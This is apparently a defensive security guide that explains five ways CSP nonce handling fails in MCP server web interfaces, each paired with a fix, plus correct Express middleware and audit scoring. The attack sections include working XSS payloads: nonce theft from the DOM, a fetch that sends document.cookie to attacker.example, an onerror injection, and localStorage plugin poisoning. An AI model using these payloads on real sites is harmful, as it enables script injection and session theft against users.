MCP server security · CSP nonce · script-src bypass · strict-dynamic
MCP server CSP nonce security — nonce reuse, exfiltration attacks, and strict-dynamic bypass
Content Security Policy nonces (script-src 'nonce-RANDOM') are one of the strongest XSS defenses available — a cryptographically random per-request value that only legitimate server-generated scripts possess. But nonce handling mistakes create complete bypasses. MCP tool output can exploit static nonces (the same nonce used across all requests), nonces readable from DOM attributes, nonces embedded in page URLs, and the strict-dynamic propagation mechanism to inject scripts that bypass CSP entirely. Each bypass requires the MCP client to have a different rendering flaw, but all are plausible in real deployments.
How CSP nonces work and why they fail
A CSP nonce is a random token generated server-side for each HTTP response. It appears in two places: in the Content-Security-Policy header (script-src 'nonce-{value}') and in the nonce attribute of each approved <script> tag in the response body. The browser executes only <script> elements whose nonce attribute matches the value in the CSP header. Injected scripts without the correct nonce are blocked.
The security depends on the nonce being secret (not predictable or readable by attacker-controlled code) and fresh (different for each request so a nonce observed by an attacker in a previous request cannot be used for a new injection).
Core requirement: A CSP nonce must be cryptographically random and unique per HTTP response. Any mechanism that makes the nonce guessable, reusable, or readable from JavaScript breaks the entire protection. A broken nonce is worse than no nonce — it creates false confidence.
Attack 1: Static nonce reuse across requests
The most catastrophic nonce mistake is using a fixed nonce value — either hardcoded in the template or generated once at server startup rather than per-request. When the nonce is the same for all requests, any MCP tool output that reads the nonce from an existing <script> tag in the DOM can inject a new script element with the same nonce value.
// VULNERABLE: nonce generated at startup — same for every request
const STATIC_NONCE = crypto.randomBytes(16).toString('base64') // ← generated ONCE
app.get('/app', (req, res) => {
// WRONG: this nonce is the same for every user, every page load, every session
res.setHeader('Content-Security-Policy', `script-src 'self' 'nonce-${STATIC_NONCE}'`)
res.send(`
<!DOCTYPE html>
<html>
<head>
<!-- This script tag is visible in the DOM with nonce attribute -->
<script nonce="${STATIC_NONCE}">
window.APP_CONFIG = { userId: '${req.session.userId}' }
</script>
</head>
<body>
<div id="mcp-output"></div>
</body>
</html>
`)
})
// EXPLOIT: MCP tool output reads the nonce from the DOM and reuses it
// Tool output content (injected via innerHTML if Trusted Types is not enforced):
const exploitPayload = `
<script>
// Step 1: Read the nonce from the existing script tag in the DOM
const existingScript = document.querySelector('script[nonce]')
const nonce = existingScript?.nonce || existingScript?.getAttribute('nonce')
// Step 2: Create a new script element with the stolen nonce
if (nonce) {
const s = document.createElement('script')
s.nonce = nonce // Browser accepts this — nonce matches the CSP header
s.src = 'https://attacker.example/payload.js'
document.head.appendChild(s)
// Script executes! CSP nonce bypass complete.
}
</script>
`
// CORRECT: generate nonce per-request
app.get('/app', (req, res) => {
const nonce = crypto.randomBytes(16).toString('base64') // ← new nonce per request
res.setHeader('Content-Security-Policy', `script-src 'self' 'nonce-${nonce}'`)
res.locals.nonce = nonce
// ...
})
Attack 2: Nonce exfiltration via Referer header or URL
Some server-side rendering implementations pass the nonce through the URL — as a query parameter, as part of a state token, or embedded in navigation URLs. If the nonce appears in the page URL and the page links to any external resource (analytics image, external CSS), the browser sends the URL in the Referer header, leaking the nonce to the external server. MCP tool output can then read document.referrer to extract the nonce.
// VULNERABLE: nonce passed as URL query parameter
// (seen in some SSR frameworks that generate the nonce before routing)
// Request: GET /app?nonce=abc123def456&view=dashboard
// The nonce 'abc123def456' is now in the page URL.
// The page contains an external analytics script:
// <img src="https://analytics.example/pixel.gif" width="1" height="1">
// The browser's request to analytics.example includes:
// Referer: https://app.skillaudit.dev/app?nonce=abc123def456&view=dashboard
// ↑ nonce visible to analytics server
// MCP tool output exploit:
// Tool output is rendered as an iframe or redirect that the attacker controls.
// After navigating back to the app, the tool output reads:
const stolenNonce = new URL(document.referrer).searchParams.get('nonce')
// stolenNonce = 'abc123def456'
// Now the tool output uses the stolen nonce:
const s = document.createElement('script')
s.setAttribute('nonce', stolenNonce)
s.textContent = 'fetch("https://attacker.example/steal?c=" + document.cookie)'
document.head.appendChild(s)
// Executes in CSP-enforced context because nonce matches.
// DEFENSE: Never put the nonce in the URL.
// The nonce must ONLY appear in:
// 1. The Content-Security-Policy response header (server-side)
// 2. The nonce="" attribute of approved <script> elements in the response body
// It must NEVER appear in:
// - URL query parameters
// - Hash fragments (readable by JavaScript)
// - Cookies (readable by JavaScript unless HttpOnly)
// - data-* attributes (readable by JavaScript)
Attack 3: Nonce readable from DOM data attributes
Some frameworks pass nonces to client-side JavaScript via data-nonce or similar DOM attributes — for example, to allow JavaScript modules to inject dynamically-created script elements with the correct nonce. If MCP tool output can reach the DOM, it can read these attributes directly.
// VULNERABLE: nonce passed via data attribute for client-side script injection
// Developer wants client-side JavaScript to be able to inject approved scripts.
// They put the nonce in a data attribute on a container element.
// Server-rendered HTML:
// <div id="app-root"
// data-nonce="R4nd0mN0nc3V4lu3=="
// data-user-id="12345">
// ...
// </div>
// Client-side code reads it:
const nonce = document.getElementById('app-root').dataset.nonce
// Legitimate use: dynamically inject approved scripts
function loadApprovedScript(src) {
const s = document.createElement('script')
s.nonce = nonce // Use the stored nonce for approved injections
s.src = src
document.head.appendChild(s)
}
// EXPLOIT: MCP tool output reads the same data attribute
// If tool output is rendered via innerHTML (before the nonce is used):
const toolOutputPayload = `
<img src=x onerror="
const n = document.getElementById('app-root').dataset.nonce;
const s = document.createElement('script');
s.nonce = n;
s.src = 'https://attacker.example/exfil.js';
document.head.appendChild(s);
">
`
// The event handler fires, reads the nonce from data-nonce, and injects a nonced script.
// CSP is bypassed.
// DEFENSE: Never store the nonce in the DOM where JavaScript can read it.
// The nonce attribute on <script> elements is intentionally NOT readable via JavaScript
// in browsers that support Trusted Types — but data attributes are always readable.
// If you need client-side dynamic script injection, use a service worker or
// restrict it to a specific allowlisted pattern audited at deploy time.
Attack 4: unsafe-inline plus nonce fallback for old browsers
According to the CSP Level 2 specification, when a nonce- value is present in script-src, 'unsafe-inline' is ignored in browsers that support nonces. This was designed to allow developers to include 'unsafe-inline' as a fallback for older browsers. But in practice, adding both creates a security policy that is unsafe for the old browsers while being safe for modern browsers — the old browser population is the one being attacked.
// UNSAFE fallback pattern — unsafe-inline for old browsers
Content-Security-Policy: script-src 'self' 'nonce-{random}' 'unsafe-inline'
// Modern browsers (Chrome, Firefox, Safari, Edge): nonce takes precedence.
// 'unsafe-inline' is ignored. Injected scripts without the nonce are blocked.
// Old browsers (IE 11, Chrome < 40, Firefox < 31): nonces are not understood.
// 'unsafe-inline' is applied. ALL inline scripts execute — including injected ones.
// The nonce attribute on script tags is just an unrecognized attribute, not a security control.
// ATTACK: attacker-controlled MCP tool output targeting old-browser users:
// '<script>document.location="https://attacker.example/phish"</script>'
// On old browsers: executes immediately (unsafe-inline is in effect)
// On modern browsers: blocked (nonce mismatch)
// If you need to support old browsers AND have CSP protection:
// Option A: Accept that old browsers have no CSP protection.
// Use unsafe-inline + nonce. Old browsers are unprotected but the attack surface
// is smaller (old browser share is <1% for most MCP server clients).
// Option B: Use a different defense for old browsers (WAF, output encoding only).
// Do not add unsafe-inline to the CSP for any browser.
// Option C: Use SRI hashes instead of nonces for static scripts.
// 'sha256-{hash}' is respected even by old-ish browsers without nonce support.
// CORRECT nonce-only policy (no unsafe-inline fallback):
Content-Security-Policy: script-src 'self' 'nonce-{per-request-random}' 'strict-dynamic'
Attack 5: strict-dynamic propagation abuse
'strict-dynamic' is a CSP keyword that propagates the trust of a nonced script to any scripts that the nonced script dynamically loads. This is designed for module bundlers and script loaders that need to inject child scripts at runtime. If an MCP tool output tricks a nonced script into loading attacker-controlled code, strict-dynamic propagates the trust and the attacker's script executes.
// CSP with strict-dynamic:
// Content-Security-Policy: script-src 'strict-dynamic' 'nonce-{random}' 'self'
//
// strict-dynamic means: scripts loaded by a trusted (nonced) script are also trusted,
// regardless of their source. This overrides 'self' — externally hosted scripts loaded
// by a nonced script also execute.
// ATTACK: Nonced script loads user-controlled URLs
// The application has a nonced script that loads a plugin URL from user preferences:
const userPluginUrl = userPreferences.pluginUrl // User-controlled value
const s = document.createElement('script')
// No nonce needed — strict-dynamic propagates trust to any script loaded by a nonced script
s.src = userPluginUrl
document.head.appendChild(s)
// If userPluginUrl is attacker-controlled: attacker's script executes.
// strict-dynamic propagated the nonced script's trust to the attacker URL.
// ATTACK via MCP tool output:
// Tool output content sets userPreferences.pluginUrl via a state injection:
// '<script>localStorage.setItem("pluginUrl", "https://attacker.example/payload.js")</script>'
// On next page load, the nonced script reads pluginUrl from localStorage and loads it.
// strict-dynamic allows it to execute.
// DEFENSE:
// 1. Never load URLs from user-controlled storage in nonced scripts.
// 2. Allowlist all dynamically-loaded script URLs at the application level:
function loadPlugin(url) {
const ALLOWED_PLUGINS = [
'https://cdn.skillaudit.dev/plugins/charts.js',
'https://cdn.skillaudit.dev/plugins/diff.js',
]
if (!ALLOWED_PLUGINS.includes(url)) {
throw new Error(`Plugin URL not in allowlist: ${url}`)
}
const s = document.createElement('script')
// With strict-dynamic, this script's children will also be trusted.
// Allowlisting is critical.
s.src = url
document.head.appendChild(s)
}
// 3. Prefer 'sha256-{hash}' for static scripts over strict-dynamic for dynamic loading.
// SRI hashes block any modification to allowed scripts and don't propagate trust.
Correct CSP nonce implementation
A correct CSP nonce implementation satisfies four requirements: cryptographically random, minimum 128 bits of entropy, unique per HTTP response, and never exposed in any channel readable by JavaScript other than the nonce attribute of approved <script> tags.
// Correct CSP nonce middleware for an Express MCP server
import crypto from 'crypto'
import express from 'express'
const app = express()
// Nonce middleware: generates a per-request 128-bit (16 bytes) nonce
app.use((req, res, next) => {
// crypto.randomBytes is cryptographically secure (CSPRNG)
// 16 bytes = 128 bits of entropy, base64-encoded = 22 characters
const nonce = crypto.randomBytes(16).toString('base64')
// Store on res.locals for template access
res.locals.cspNonce = nonce
// Build the CSP header
const cspDirectives = [
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
// strict-dynamic: allows scripts loaded by nonced scripts (module bundlers)
// ONLY add if you audit all dynamic script loading in nonced scripts
`style-src 'self' 'nonce-${nonce}'`,
"object-src 'none'",
"base-uri 'self'",
"frame-ancestors 'none'",
"connect-src 'self' https://api.skillaudit.dev",
`report-uri /api/csp-report`,
]
res.setHeader('Content-Security-Policy', cspDirectives.join('; '))
// IMPORTANT: never set the nonce in:
// - A cookie (even HttpOnly is accessible to same-site scripts)
// - A URL parameter
// - A data-* attribute
// - A meta tag
// - A JavaScript global variable (window.nonce = ...)
// The nonce must ONLY appear in the CSP header and script[nonce] attributes.
next()
})
// Example template usage (EJS):
// <script nonce="<%= locals.cspNonce %>">
// window.MCP_CONFIG = <%- JSON.stringify(serverConfig) %>
// </script>
// CSP violation reporting endpoint
app.post('/api/csp-report', express.json({ type: ['application/csp-report', 'application/json'] }), (req, res) => {
const report = req.body?.['csp-report'] || req.body
if (report) {
const entry = {
blockedUri: report['blocked-uri'],
violatedDirective: report['violated-directive'],
documentUri: report['document-uri'],
lineNumber: report['line-number'],
sourceFile: report['source-file'],
timestamp: new Date().toISOString(),
}
console.error('CSP violation:', entry)
// Send to SIEM, Datadog, Sentry, etc.
}
res.status(204).send()
})
SkillAudit findings
script-src 'nonce-{value}' value is identical across all HTTP responses. MCP tool output can read the nonce from any existing <script nonce=""> element in the DOM and inject a new nonced script. CSP nonce protection is completely bypassed. −25 ptsReferer headers to any external resource the page loads, and is readable by MCP tool output via document.referrer or location.search. −22 ptsdata-nonce or similar) — The CSP nonce is stored in a data-* attribute to enable client-side script injection. MCP tool output rendered via innerHTML can read the attribute via dataset and use the nonce to inject arbitrary scripts. −18 pts'unsafe-inline' included alongside nonce in CSP — script-src 'nonce-{value}' 'unsafe-inline' is used as a backward-compatibility fallback. Old browsers that don't support nonces apply unsafe-inline instead, allowing all inline script injection from MCP tool output to execute. −10 pts'strict-dynamic' with unaudited dynamic script loading in nonced scripts — CSP uses strict-dynamic but the nonced script loads URLs derived from user-controlled storage (localStorage, URL parameters, MCP tool output). An attacker can plant a malicious URL that the nonced script loads, which strict-dynamic then trusts unconditionally. −12 ptsSee also
- MCP server Content Security Policy — full CSP directive coverage for MCP web interfaces
- MCP server Trusted Types security — no-op policy bypass and default policy abuse
- MCP server subresource integrity — SRI hash-based alternatives to strict-dynamic for static scripts
- MCP server tool output sanitization — sanitizing MCP tool responses before DOM rendering
- MCP server security checklist — comprehensive pre-submission checklist